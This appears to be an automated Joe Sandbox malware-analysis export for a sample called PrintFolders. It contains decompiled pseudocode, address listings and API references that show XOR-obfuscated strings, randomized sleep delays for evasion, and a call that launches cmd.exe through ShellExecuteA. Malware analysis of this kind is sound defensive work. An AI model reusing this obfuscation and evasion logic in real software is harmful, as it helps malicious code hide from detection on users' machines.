                                                          								if(_t300 >  *((intOrPtr*)(_t420 + 4))) {
                                                          									E0040EF48(_t300, 0x450d3c);
                                                          									_t440 = _t440 + 4;
                                                          									_t480 =  *0x450d3c - 0xffffffff;
                                                          									if( *0x450d3c == 0xffffffff) {
                                                          										 *0x450dd4 = _v40;
                                                          										 *0x450dd8 = _v445;
                                                          										E0040F25B(_t354, _t480, 0x42d4e0);
                                                          										E0040EEFE(0x450d3c);
                                                          										_t440 = _t440 + 8;
                                                          									}
                                                          								}
                                                          								_t301 =  *0x450dd8; // 0x0
                                                          								if(_t301 != 0) {
                                                          									 *0x450dd4 =  *0x450dd4 ^ 0x0000002e;
                                                          									 *0x450dd5 =  *0x450dd5 ^ 0x0000002e;
                                                          									 *0x450dd6 =  *0x450dd6 ^ 0x0000002e;
                                                          									 *0x450dd7 =  *0x450dd7 ^ 0x0000002e;
                                                          									 *0x450dd8 = _t301 ^ 0x0000002e;
                                                          								}
                                                          								_t389 = 0x450dd4;
                                                          								_v472 = 0;
                                                          								_v456 = 0;
                                                          								_v452 = 0xf;
                                                          								_t119 =  &(_t389[1]); // 0x450dd5
                                                          								_t415 = _t119;
                                                          								do {
                                                          									_t302 =  *_t389;
                                                          									_t389 =  &(_t389[1]);
                                                          								} while (_t302 != 0);
                                                          								E004026B0(_t344,  &_v472, 0x450dd4, _t389 - _t415);
                                                          								_t425 = _v52;
                                                          								_t354 = _t425;
                                                          								_v40 = 7;
                                                          								_t304 = E0040CA60(_t425,  &_v472);
                                                          								if(_t304 != 0) {
                                                          									goto L47;
                                                          								} else {
                                                          									_v445 = _t304;
                                                          									L48:
                                                          									_t413 = _v452;
                                                          									if(_t413 < 0x10) {
                                                          										L52:
                                                          										_t402 = _v476;
                                                          										if(_t402 < 0x10) {
                                                          											L56:
                                                          											if(_v445 != 0) {
                                                          												goto L89;
                                                          											} else {
                                                          												_t374 = _v48 - _t425;
                                                          												_t402 = 0x2aaaaaab * (_v48 - _t425) >> 0x20 >> 2;
                                                          												_t257 = (0x2aaaaaab * (_v48 - _t425) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v48 - _t425) >> 0x20 >> 2);
                                                          												_t492 = _t257 - 1;
                                                          												if(_t492 < 0) {
                                                          													goto L90;
                                                          												} else {
                                                          													if(_t492 == 0) {
                                                          														goto L91;
                                                          													} else {
                                                          														if(_t257 == 2) {
                                                          															_t279 = _t425;
                                                          															if( *((intOrPtr*)(_t425 + 0x14)) >= 0x10) {
                                                          																_t279 =  *_t425;
                                                          															}
                                                          															if( *((intOrPtr*)(_t425 + 0x10)) != 1) {
                                                          																L68:
                                                          																__eflags =  *((intOrPtr*)(_t425 + 0x14)) - 0x10;
                                                          																_t385 = _t425;
                                                          																if( *((intOrPtr*)(_t425 + 0x14)) >= 0x10) {
                                                          																	_t385 =  *_t425;
                                                          																}
                                                          																__eflags =  *((intOrPtr*)(_t425 + 0x10)) - 2;
                                                          																if(__eflags == 0) {
                                                          																	_t280 =  *_t385 & 0x000000ff;
                                                          																	__eflags = _t280 - 0x72;
                                                          																	if(_t280 != 0x72) {
                                                          																		L74:
                                                          																		asm("sbb eax, eax");
                                                          																		_t281 = _t280 | 0x00000001;
                                                          																		__eflags = _t281;
                                                          																	} else {
                                                          																		_t280 =  *(_t385 + 1) & 0x000000ff;
                                                          																		__eflags = _t280 - 0x73;
                                                          																		if(_t280 != 0x73) {
                                                          																			goto L74;
                                                          																		} else {
                                                          																			_t281 = 0;
                                                          																		}
                                                          																	}
                                                          																	__eflags = _t281;
                                                          																	if(__eflags == 0) {
                                                          																		_t282 = E00417DF6(_t385, __eflags);
                                                          																		asm("cdq");
                                                          																		_t411 = _t282 % 0xc350 + 0x11170;
                                                          																		__eflags = _t411;
                                                          																		goto L77;
                                                          																	}
                                                          																}
                                                          															} else {
                                                          																_t288 =  *_t279 & 0x000000ff;
                                                          																if(_t288 != 0x72) {
                                                          																	asm("sbb eax, eax");
                                                          																	_t289 = _t288 | 0x00000001;
                                                          																	__eflags = _t289;
                                                          																} else {
                                                          																	_t289 = 0;
                                                          																}
                                                          																_t497 = _t289;
                                                          																if(_t289 != 0) {
                                                          																	goto L68;
                                                          																} else {
                                                          																	_t290 = E00417DF6(_t374, _t497);
                                                          																	asm("cdq");
                                                          																	_t411 = _t290 % 0xc350 + 0x2710;
                                                          																	L77:
                                                          																	Sleep(_t411);
                                                          																	_t450 = _t440 - 0x18;
                                                          																	E0040BB90(_t344, _t450, _t411, _t420, _v52 + 0x18);
                                                          																	E00408D00(_t344, _t420, _t425, _v52 + 0x18);
                                                          																	_t440 = _t450 + 0x18;
                                                          																}
                                                          															}
                                                          														}
                                                          														_t409 = _v80;
                                                          														if(_t409 < 0x10) {
                                                          															L82:
                                                          															_t161 = _v268 + 4; // 0x43a364
                                                          															 *((intOrPtr*)(_t429 +  *_t161 - 0x100)) = 0x439cfc;
                                                          															_t165 = _v268 + 4; // 0x43a364
                                                          															_t166 =  *_t165 - 0x60; // 0x43a304
                                                          															 *((intOrPtr*)(_t429 +  *_t165 - 0x104)) = _t166;
                                                          															E0040A510( &_v252);
                                                          															_t171 = _v268 + 4; // 0x43a364
                                                          															 *((intOrPtr*)(_t429 +  *_t171 - 0x100)) = 0x439ca4;
                                                          															_t175 = _v268 + 4; // 0x33323130
                                                          															_t176 =  *_t175 - 0x18; // 0x33323118
                                                          															 *((intOrPtr*)(_t429 +  *_t175 - 0x104)) = _t176;
                                                          															_v16 = 0;
                                                          															_v172 = 0x439bdc;
                                                          															E0040E4D3( &_v172);
                                                          															_t442 = _t440 + 4;
                                                          															E0040B930( &_v52, _t420);
                                                          															_t270 = _v56;
                                                          															if(_t270 < 0x10) {
                                                          																L86:
                                                          																 *[fs:0x0] = _v24;
                                                          																_pop(_t421);
                                                          																_pop(_t426);
                                                          																return E0040EBBF(_t270, _t344, _v32 ^ _t429, _t409, _t421, _t426);
                                                          															} else {
                                                          																_t409 = _v76;
                                                          																_t185 = _t270 + 1; // 0x11
                                                          																_t383 = _t185;
                                                          																_t272 = _t409;
                                                          																if(_t383 < 0x1000) {
                                                          																	L85:
                                                          																	_push(_t383);
                                                          																	_t270 = E0040EDFF(_t409);
                                                          																	goto L86;
                                                          																} else {
                                                          																	_t402 =  *(_t409 - 4);
                                                          																	_t383 = _t383 + 0x23;
                                                          																	if(_t272 -  *(_t409 - 4) + 0xfffffffc > 0x1f) {
                                                          																		goto L92;
                                                          																	} else {
                                                          																		goto L85;
                                                          																	}
                                                          																}
                                                          															}
                                                          														} else {
                                                          															_t384 = _v100;
                                                          															_t409 = _t409 + 1;
                                                          															_t275 = _t384;
                                                          															if(_t409 < 0x1000) {
                                                          																L81:
                                                          																_push(_t409);
                                                          																E0040EDFF(_t384);
                                                          																_t440 = _t440 + 8;
                                                          																goto L82;
                                                          															} else {
                                                          																_t384 =  *(_t384 - 4);
                                                          																_t402 = _t409 + 0x23;
                                                          																if(_t275 - _t384 + 0xfffffffc > 0x1f) {
                                                          																	goto L92;
                                                          																} else {
                                                          																	goto L81;
                                                          																}
                                                          															}
                                                          														}
                                                          													}
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_t354 = _v496;
                                                          											_t402 = _t402 + 1;
                                                          											_t292 = _t354;
                                                          											if(_t402 < 0x1000) {
                                                          												L55:
                                                          												_push(_t402);
                                                          												E0040EDFF(_t354);
                                                          												_t425 = _v52;
                                                          												_t440 = _t440 + 8;
                                                          												goto L56;
                                                          											} else {
                                                          												_t354 =  *(_t354 - 4);
                                                          												_t402 = _t402 + 0x23;
                                                          												if(_t292 - _t354 + 0xfffffffc > 0x1f) {
                                                          													goto L92;
                                                          												} else {
                                                          													goto L55;
                                                          												}
                                                          											}
                                                          										}
                                                          									} else {
                                                          										_t354 = _v472;
                                                          										_t414 = _t413 + 1;
                                                          										_t296 = _t354;
                                                          										if(_t414 < 0x1000) {
                                                          											L51:
                                                          											_push(_t414);
                                                          											E0040EDFF(_t354);
                                                          											_t425 = _v52;
                                                          											_t440 = _t440 + 8;
                                                          											goto L52;
                                                          										} else {
                                                          											_t354 =  *(_t354 - 4);
                                                          											_t402 = _t414 + 0x23;
                                                          											if(_t296 - _t354 + 0xfffffffc > 0x1f) {
                                                          												goto L92;
                                                          											} else {
                                                          												goto L51;
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_t392 =  *_t420;
                                                          							_t316 =  *0x450ef8; // 0x80000008
                                                          							_v40 = 0x7b7d6160;
                                                          							_v36 = 0x2e6c;
                                                          							if(_t316 >  *((intOrPtr*)( *_t420 + 4))) {
                                                          								E0040EF48(_t316, 0x450ef8);
                                                          								_t440 = _t440 + 4;
                                                          								_t468 =  *0x450ef8 - 0xffffffff;
                                                          								if( *0x450ef8 == 0xffffffff) {
                                                          									 *0x450d10 = _v40;
                                                          									 *0x450d14 = _v36;
                                                          									E0040F25B(_t392, _t468, E0042D510);
                                                          									E0040EEFE(0x450ef8);
                                                          									_t440 = _t440 + 8;
                                                          								}
                                                          							}
                                                          							_t317 =  *0x450d15; // 0x0
                                                          							if(_t317 != 0) {
                                                          								 *0x450d10 =  *0x450d10 ^ 0x0000002e;
                                                          								 *0x450d11 =  *0x450d11 ^ 0x0000002e;
                                                          								 *0x450d12 =  *0x450d12 ^ 0x0000002e;
                                                          								 *0x450d13 =  *0x450d13 ^ 0x0000002e;
                                                          								 *0x450d14 =  *0x450d14 ^ 0x0000002e;
                                                          								 *0x450d15 = _t317 ^ 0x0000002e;
                                                          							}
                                                          							_t393 = 0x450d10;
                                                          							_v472 = 0;
                                                          							_v456 = 0;
                                                          							_v452 = 0xf;
                                                          							_t89 =  &(_t393[1]); // 0x450d11
                                                          							_t417 = _t89;
                                                          							do {
                                                          								_t318 =  *_t393;
                                                          								_t393 =  &(_t393[1]);
                                                          							} while (_t318 != 0);
                                                          							_t369 =  &_v472;
                                                          							E004026B0(_t344,  &_v472, 0x450d10, _t393 - _t417);
                                                          							_t320 = _v48;
                                                          							if(_t320 == _v44) {
                                                          								_push( &_v472);
                                                          								_push(_t320);
                                                          								_t369 =  &_v52;
                                                          								E0040CE50(_t344,  &_v52, _t420, _t425);
                                                          								_t418 = _v452;
                                                          								__eflags = _t418 - 0x10;
                                                          								if(_t418 < 0x10) {
                                                          									goto L30;
                                                          								} else {
                                                          									_t369 = _v472;
                                                          									_t419 = _t418 + 1;
                                                          									_t322 = _t369;
                                                          									__eflags = _t419 - 0x1000;
                                                          									if(_t419 < 0x1000) {
                                                          										L29:
                                                          										_push(_t419);
                                                          										E0040EDFF(_t369);
                                                          										_t440 = _t440 + 8;
                                                          										goto L30;
                                                          									} else {
                                                          										_t369 =  *(_t369 - 4);
                                                          										_t402 = _t419 + 0x23;
                                                          										__eflags = _t322 - _t369 + 0xfffffffc - 0x1f;
                                                          										if(__eflags > 0) {
                                                          											goto L92;
                                                          										} else {
                                                          											goto L29;
                                                          										}
                                                          									}
                                                          								}
                                                          							} else {
                                                          								asm("movups xmm0, [ebp-0x1cc]");
                                                          								 *_t320 = 0;
                                                          								asm("movups [eax], xmm0");
                                                          								asm("movq xmm0, [ebp-0x1bc]");
                                                          								asm("movq [eax+0x10], xmm0");
                                                          								_v48 = _v48 + 0x18;
                                                          								goto L30;
                                                          							}
                                                          						}
                                                          					} else {
                                                          						if(_t425 < 0x1000) {
                                                          							_t336 = E0040EDCF(_t420, _t425, __eflags, _t425);
                                                          							_t454 = _t440 + 4;
                                                          							_t420 = _t336;
                                                          							L9:
                                                          							E004104C0(_t420, _v40, _t425);
                                                          							_t354 = _t425 + _t420;
                                                          							_v196 = _t354;
                                                          							_t440 = _t454 + 0xc;
                                                          							 *_v240 = _t420;
                                                          							 *_v224 = _t420;
                                                          							 *_v208 = _t425;
                                                          							_t218 = 3;
                                                          							goto L11;
                                                          						} else {
                                                          							_t41 = _t425 + 0x23; // 0x23
                                                          							_t341 = _t41;
                                                          							_t461 = _t341 - _t425;
                                                          							if(_t341 <= _t425) {
                                                          								L88:
                                                          								E004018B0();
                                                          								L89:
                                                          								_t221 = E004096D0( &_v444, _t354);
                                                          								_t441 = _t440 - 0xc;
                                                          								L93();
                                                          								E0040B4E0( &_v444, E00402510( &_v520, E0040B820(_t221)));
                                                          								E00402440(_t344,  &_v520);
                                                          								E00417CAD(0);
                                                          								L90:
                                                          								E004054C0(_t344, __eflags);
                                                          								L91:
                                                          								_t442 = _t441 - 0x18;
                                                          								_t425 = _t442;
                                                          								E0040BB90(_t344, _t442, _t402, _t420, E0040B910( &_v52, 0)); // executed
                                                          								E00409500(_t344, _t442, _t402, _t420, _t442); // executed
                                                          								goto L92;
                                                          							} else {
                                                          								_t342 = E0040EDCF(_t420, _t425, _t461, _t341);
                                                          								_t442 = _t440 + 4;
                                                          								if(_t342 == 0) {
                                                          									L92:
                                                          									E00413527(_t344, _t402, __eflags);
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									_push(_t429);
                                                          									_t430 = _t442;
                                                          									_t232 =  *0x43d054; // 0x6e36c9b5
                                                          									_v556 = _t232 ^ _t430;
                                                          									_push(_t344);
                                                          									_v564 = 0x5a5d4b5a;
                                                          									_t362 =  *( *[fs:0x2c]);
                                                          									_t235 =  *0x45100c;
                                                          									__eflags =  *0x45100c -  *((intOrPtr*)(_t362 + 4));
                                                          									if( *0x45100c >  *((intOrPtr*)(_t362 + 4))) {
                                                          										E0040EF48(_t235, 0x45100c);
                                                          										__eflags =  *0x45100c - 0xffffffff;
                                                          										if(__eflags == 0) {
                                                          											_t197 =  &_v28; // 0x5a5d4b5a
                                                          											 *0x450f48 =  *_t197;
                                                          											 *0x450f4c = 0x2e;
                                                          											E0040F25B(_t362, __eflags, 0x42d4c0);
                                                          											E0040EEFE(0x45100c);
                                                          										}
                                                          									}
                                                          									__eflags = _v20 ^ _t430;
                                                          									_pop(_t346);
                                                          									return E0040EBBF(0x450f48, _t346, _v20 ^ _t430, _t402, _t420, _t425);
                                                          								} else {
                                                          									_t42 = _t342 + 0x23; // 0x23
                                                          									_t420 = _t42 & 0xffffffe0;
                                                          									 *((intOrPtr*)(_t420 - 4)) = _t342;
                                                          									goto L9;
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          			}



















































































































                                                          0x004096f0
                                                          0x004096f1
                                                          0x004096f9
                                                          0x00409700
                                                          0x00409704
                                                          0x00409706
                                                          0x00409708
                                                          0x00409713
                                                          0x00409714
                                                          0x0040971b
                                                          0x00409720
                                                          0x00409722
                                                          0x00409725
                                                          0x00409726
                                                          0x00409727
                                                          0x0040972b
                                                          0x00409731
                                                          0x00409736
                                                          0x00409746
                                                          0x0040974b
                                                          0x0040974d
                                                          0x00409754
                                                          0x00409757
                                                          0x0040975e
                                                          0x00409765
                                                          0x00409768
                                                          0x00409768
                                                          0x0040976a
                                                          0x0040976b
                                                          0x0040976b
                                                          0x00409776
                                                          0x00409786
                                                          0x00409790
                                                          0x00409797
                                                          0x0040979e
                                                          0x004097a3
                                                          0x004097a6
                                                          0x004097b6
                                                          0x004097c0
                                                          0x004097c3
                                                          0x004097d0
                                                          0x004097d8
                                                          0x004097df
                                                          0x004097e9
                                                          0x004097f3
                                                          0x004097fb
                                                          0x00409806
                                                          0x00409809
                                                          0x0040981a
                                                          0x0040981d
                                                          0x00409820
                                                          0x00409827
                                                          0x0040982d
                                                          0x00409839
                                                          0x0040983c
                                                          0x00409840
                                                          0x00409843
                                                          0x00409848
                                                          0x00409858
                                                          0x00409ee3
                                                          0x00000000
                                                          0x0040985e
                                                          0x00409860
                                                          0x004098d1
                                                          0x004098db
                                                          0x004098db
                                                          0x004098dc
                                                          0x004098df
                                                          0x004098eb
                                                          0x004098f2
                                                          0x004098f9
                                                          0x00409900
                                                          0x00409905
                                                          0x00409912
                                                          0x00409914
                                                          0x00409914
                                                          0x0040991a
                                                          0x0040991e
                                                          0x0040992d
                                                          0x0040992e
                                                          0x00409931
                                                          0x00409920
                                                          0x00409920
                                                          0x00409922
                                                          0x00409927
                                                          0x00409927
                                                          0x00409936
                                                          0x00409937
                                                          0x00409940
                                                          0x00409945
                                                          0x0040994d
                                                          0x00409914
                                                          0x0040995c
                                                          0x0040995f
                                                          0x00409972
                                                          0x00409abf
                                                          0x00409abf
                                                          0x00409ac1
                                                          0x00409ac6
                                                          0x00409ad3
                                                          0x00409ada
                                                          0x00409adf
                                                          0x00409ae2
                                                          0x00409ae9
                                                          0x00409af3
                                                          0x00409af8
                                                          0x00409b05
                                                          0x00409b0a
                                                          0x00409b0a
                                                          0x00409ae9
                                                          0x00409b0d
                                                          0x00409b14
                                                          0x00409b16
                                                          0x00409b1d
                                                          0x00409b24
                                                          0x00409b2d
                                                          0x00409b2d
                                                          0x00409b32
                                                          0x00409b37
                                                          0x00409b41
                                                          0x00409b4b
                                                          0x00409b55
                                                          0x00409b55
                                                          0x00409b58
                                                          0x00409b58
                                                          0x00409b5a
                                                          0x00409b5b
                                                          0x00409b6d
                                                          0x00409b72
                                                          0x00409b7b
                                                          0x00409b7d
                                                          0x00409b8b
                                                          0x00409c7e
                                                          0x00409c7e
                                                          0x00409c82
                                                          0x00409c89
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00409b91
                                                          0x00409b91
                                                          0x00409b96
                                                          0x00409b9d
                                                          0x00409baa
                                                          0x00409bb1
                                                          0x00409bb6
                                                          0x00409bb9
                                                          0x00409bc0
                                                          0x00409bc5
                                                          0x00409bd5
                                                          0x00409bda
                                                          0x00409be7
                                                          0x00409bec
                                                          0x00409bec
                                                          0x00409bc0
                                                          0x00409bef
                                                          0x00409bf6
                                                          0x00409bf8
                                                          0x00409bff
                                                          0x00409c06
                                                          0x00409c0d
                                                          0x00409c16
                                                          0x00409c16
                                                          0x00409c1b
                                                          0x00409c20
                                                          0x00409c2a
                                                          0x00409c34
                                                          0x00409c3e
                                                          0x00409c3e
                                                          0x00409c41
                                                          0x00409c41
                                                          0x00409c43
                                                          0x00409c44
                                                          0x00409c56
                                                          0x00409c5b
                                                          0x00409c64
                                                          0x00409c66
                                                          0x00409c6d
                                                          0x00409c74
                                                          0x00000000
                                                          0x00409c76
                                                          0x00409c76
                                                          0x00409c8b
                                                          0x00409c8b
                                                          0x00409c94
                                                          0x00409cc8
                                                          0x00409cc8
                                                          0x00409cd1
                                                          0x00409d05
                                                          0x00409d0c
                                                          0x00000000
                                                          0x00409d12
                                                          0x00409d1a
                                                          0x00409d1e
                                                          0x00409d26
                                                          0x00409d28
                                                          0x00409d2b
                                                          0x00000000
                                                          0x00409d31
                                                          0x00409d31
                                                          0x00000000
                                                          0x00409d37
                                                          0x00409d3a
                                                          0x00409d44
                                                          0x00409d46
                                                          0x00409d48
                                                          0x00409d48
                                                          0x00409d4e
                                                          0x00409d79
                                                          0x00409d79
                                                          0x00409d7d
                                                          0x00409d7f
                                                          0x00409d81
                                                          0x00409d81
                                                          0x00409d83
                                                          0x00409d87
                                                          0x00409d89
                                                          0x00409d8c
                                                          0x00409d8e
                                                          0x00409d9c
                                                          0x00409d9c
                                                          0x00409d9e
                                                          0x00409d9e
                                                          0x00409d90
                                                          0x00409d90
                                                          0x00409d94
                                                          0x00409d96
                                                          0x00000000
                                                          0x00409d98
                                                          0x00409d98
                                                          0x00409d98
                                                          0x00409d96
                                                          0x00409da1
                                                          0x00409da3
                                                          0x00409da5
                                                          0x00409daa
                                                          0x00409db2
                                                          0x00409db2
                                                          0x00000000
                                                          0x00409db2
                                                          0x00409da3
                                                          0x00409d50
                                                          0x00409d50
                                                          0x00409d55
                                                          0x00409d5b
                                                          0x00409d5d
                                                          0x00409d5d
                                                          0x00409d57
                                                          0x00409d57
                                                          0x00409d57
                                                          0x00409d60
                                                          0x00409d62
                                                          0x00000000
                                                          0x00409d64
                                                          0x00409d64
                                                          0x00409d69
                                                          0x00409d71
                                                          0x00409db8
                                                          0x00409db9
                                                          0x00409dc2
                                                          0x00409dcb
                                                          0x00409dd0
                                                          0x00409dd5
                                                          0x00409dd5
                                                          0x00409d62
                                                          0x00409d4e
                                                          0x00409dd8
                                                          0x00409dde
                                                          0x00409e0c
                                                          0x00409e12
                                                          0x00409e15
                                                          0x00409e26
                                                          0x00409e29
                                                          0x00409e2c
                                                          0x00409e39
                                                          0x00409e44
                                                          0x00409e47
                                                          0x00409e58
                                                          0x00409e5b
                                                          0x00409e5e
                                                          0x00409e6b
                                                          0x00409e73
                                                          0x00409e7d
                                                          0x00409e82
                                                          0x00409e88
                                                          0x00409e8d
                                                          0x00409e93
                                                          0x00409ec3
                                                          0x00409ec6
                                                          0x00409ece
                                                          0x00409ecf
                                                          0x00409ee0
                                                          0x00409e95
                                                          0x00409e95
                                                          0x00409e98
                                                          0x00409e98
                                                          0x00409e9b
                                                          0x00409ea3
                                                          0x00409eb9
                                                          0x00409eb9
                                                          0x00409ebb
                                                          0x00000000
                                                          0x00409ea5
                                                          0x00409ea5
                                                          0x00409ea8
                                                          0x00409eb3
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00409eb3
                                                          0x00409ea3
                                                          0x00409de0
                                                          0x00409de0
                                                          0x00409de3
                                                          0x00409de4
                                                          0x00409dec
                                                          0x00409e02
                                                          0x00409e02
                                                          0x00409e04
                                                          0x00409e09
                                                          0x00000000
                                                          0x00409dee
                                                          0x00409dee
                                                          0x00409df1
                                                          0x00409dfc
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00409dfc
                                                          0x00409dec
                                                          0x00409dde
                                                          0x00409d31
                                                          0x00409d2b
                                                          0x00409cd3
                                                          0x00409cd3
                                                          0x00409cd9
                                                          0x00409cda
                                                          0x00409ce2
                                                          0x00409cf8
                                                          0x00409cf8
                                                          0x00409cfa
                                                          0x00409cff
                                                          0x00409d02
                                                          0x00000000
                                                          0x00409ce4
                                                          0x00409ce4
                                                          0x00409ce7
                                                          0x00409cf2
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00409cf2
                                                          0x00409ce2
                                                          0x00409c96
                                                          0x00409c96
                                                          0x00409c9c
                                                          0x00409c9d
                                                          0x00409ca5
                                                          0x00409cbb
                                                          0x00409cbb
                                                          0x00409cbd
                                                          0x00409cc2
                                                          0x00409cc5
                                                          0x00000000
                                                          0x00409ca7
                                                          0x00409ca7
                                                          0x00409caa
                                                          0x00409cb5
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00409cb5
                                                          0x00409ca5
                                                          0x00409c94
                                                          0x00409c74
                                                          0x00409978
                                                          0x00409978
                                                          0x0040997a
                                                          0x0040997f
                                                          0x00409986
                                                          0x00409992
                                                          0x00409999
                                                          0x0040999e
                                                          0x004099a1
                                                          0x004099a8
                                                          0x004099ad
                                                          0x004099bb
                                                          0x004099c1
                                                          0x004099ce
                                                          0x004099d3
                                                          0x004099d3
                                                          0x004099a8
                                                          0x004099d6
                                                          0x004099dd
                                                          0x004099df
                                                          0x004099e6
                                                          0x004099ed
                                                          0x004099f4
                                                          0x004099fb
                                                          0x00409a04
                                                          0x00409a04
                                                          0x00409a09
                                                          0x00409a0e
                                                          0x00409a18
                                                          0x00409a22
                                                          0x00409a2c
                                                          0x00409a2c
                                                          0x00409a30
                                                          0x00409a30
                                                          0x00409a32
                                                          0x00409a33
                                                          0x00409a3f
                                                          0x00409a45
                                                          0x00409a4a
                                                          0x00409a50
                                                          0x00409a7b
                                                          0x00409a7c
                                                          0x00409a7d
                                                          0x00409a80
                                                          0x00409a85
                                                          0x00409a8b
                                                          0x00409a8e
                                                          0x00000000
                                                          0x00409a90
                                                          0x00409a90
                                                          0x00409a96
                                                          0x00409a97
                                                          0x00409a99
                                                          0x00409a9f
                                                          0x00409ab5
                                                          0x00409ab5
                                                          0x00409ab7
                                                          0x00409abc
                                                          0x00000000
                                                          0x00409aa1
                                                          0x00409aa1
                                                          0x00409aa4
                                                          0x00409aac
                                                          0x00409aaf
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00409aaf
                                                          0x00409a9f
                                                          0x00409a52
                                                          0x00409a52
                                                          0x00409a59
                                                          0x00409a5f
                                                          0x00409a62
                                                          0x00409a6a
                                                          0x00409a6f
                                                          0x00000000
                                                          0x00409a6f
                                                          0x00409a50
                                                          0x00409862
                                                          0x00409868
                                                          0x00409892
                                                          0x00409897
                                                          0x0040989a
                                                          0x0040989c
                                                          0x004098a1
                                                          0x004098ac
                                                          0x004098af
                                                          0x004098b5
                                                          0x004098b8
                                                          0x004098c0
                                                          0x004098c8
                                                          0x004098ca
                                                          0x00000000
                                                          0x0040986a
                                                          0x0040986a
                                                          0x0040986a
                                                          0x0040986d
                                                          0x0040986f
                                                          0x00409ee8
                                                          0x00409ee8
                                                          0x00409eed
                                                          0x00409ef4
                                                          0x00409ef9
                                                          0x00409efc
                                                          0x00409f1b
                                                          0x00409f26
                                                          0x00409f2d
                                                          0x00409f32
                                                          0x00409f32
                                                          0x00409f37
                                                          0x00409f37
                                                          0x00409f3d
                                                          0x00409f49
                                                          0x00409f4e
                                                          0x00000000
                                                          0x00409875
                                                          0x00409876
                                                          0x0040987b
                                                          0x00409880
                                                          0x00409f53
                                                          0x00409f53
                                                          0x00409f58
                                                          0x00409f59
                                                          0x00409f5a
                                                          0x00409f5b
                                                          0x00409f5c
                                                          0x00409f5d
                                                          0x00409f5e
                                                          0x00409f5f
                                                          0x00409f60
                                                          0x00409f61
                                                          0x00409f66
                                                          0x00409f6d
                                                          0x00409f76
                                                          0x00409f77
                                                          0x00409f80
                                                          0x00409f82
                                                          0x00409f87
                                                          0x00409f8d
                                                          0x00409f94
                                                          0x00409f9c
                                                          0x00409fa3
                                                          0x00409fa5
                                                          0x00409fad
                                                          0x00409fb2
                                                          0x00409fb8
                                                          0x00409fc2
                                                          0x00409fc7
                                                          0x00409fa3
                                                          0x00409fd2
                                                          0x00409fd4
                                                          0x00409fdd
                                                          0x00409886
                                                          0x00409886
                                                          0x00409889
                                                          0x0040988c
                                                          0x00000000
                                                          0x0040988c
                                                          0x00409880
                                                          0x0040986f
                                                          0x00409868
                                                          0x00409860

                                                          APIs
                                                            • Part of subcall function 00418873: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,0040953A,00000000), ref: 00418886
                                                            • Part of subcall function 00418873: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004188B7
                                                          • __Init_thread_footer.LIBCMT ref: 004099CE
                                                          • __Init_thread_footer.LIBCMT ref: 00409B05
                                                          • __Init_thread_footer.LIBCMT ref: 00409BE7
                                                          • Sleep.KERNEL32(?,00450F1C,00450F1D,?,?,?), ref: 00409DB9
                                                          • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00409E7D
                                                          • Concurrency::cancel_current_task.LIBCPMT ref: 00409EE3
                                                          • Concurrency::cancel_current_task.LIBCPMT ref: 00409EE8
                                                            • Part of subcall function 004018B0: ___std_exception_copy.LIBVCRUNTIME ref: 004018EE
                                                            • Part of subcall function 004054C0: GetCurrentProcessId.KERNEL32(6E36C9B5), ref: 004054EC
                                                            • Part of subcall function 004054C0: GetCurrentProcessId.KERNEL32 ref: 00405508
                                                            • Part of subcall function 004054C0: ShellExecuteA.SHELL32(00000000,00000000,C:\Windows\System32\cmd.exe,00000000,00000000,00000000), ref: 004055A4
                                                            • Part of subcall function 00409500: CreateThread.KERNEL32 ref: 004095FE
                                                            • Part of subcall function 00409500: Sleep.KERNEL32(00000BB8), ref: 00409609
                                                          • __Init_thread_footer.LIBCMT ref: 00409FC2
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Init_thread_footer$Concurrency::cancel_current_taskCurrentProcessSleepTime$CreateExecuteFileIos_base_dtorShellSystemThreadUnothrow_t@std@@@___std_exception_copy__ehfuncinfo$??2@std::ios_base::_
                                                          • String ID: D@$MFE.$ZK]Z
                                                          • API String ID: 3757312541-2629744079
                                                          • Opcode ID: b499e81cc4c506dded1d2c4d08b53a0bff9c3602162d9189c5fe44090b093fcb
                                                          • Instruction ID: 09b12323e8cf1ccab507edc46462649b34e9962f34bdcbd7157f6d7b385d370e
                                                          • Opcode Fuzzy Hash: b499e81cc4c506dded1d2c4d08b53a0bff9c3602162d9189c5fe44090b093fcb
                                                          • Instruction Fuzzy Hash: B232E0759002488BDB24DF68D845BEEB7B0AF45308F1441BAE805773D3D779AE88CB99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
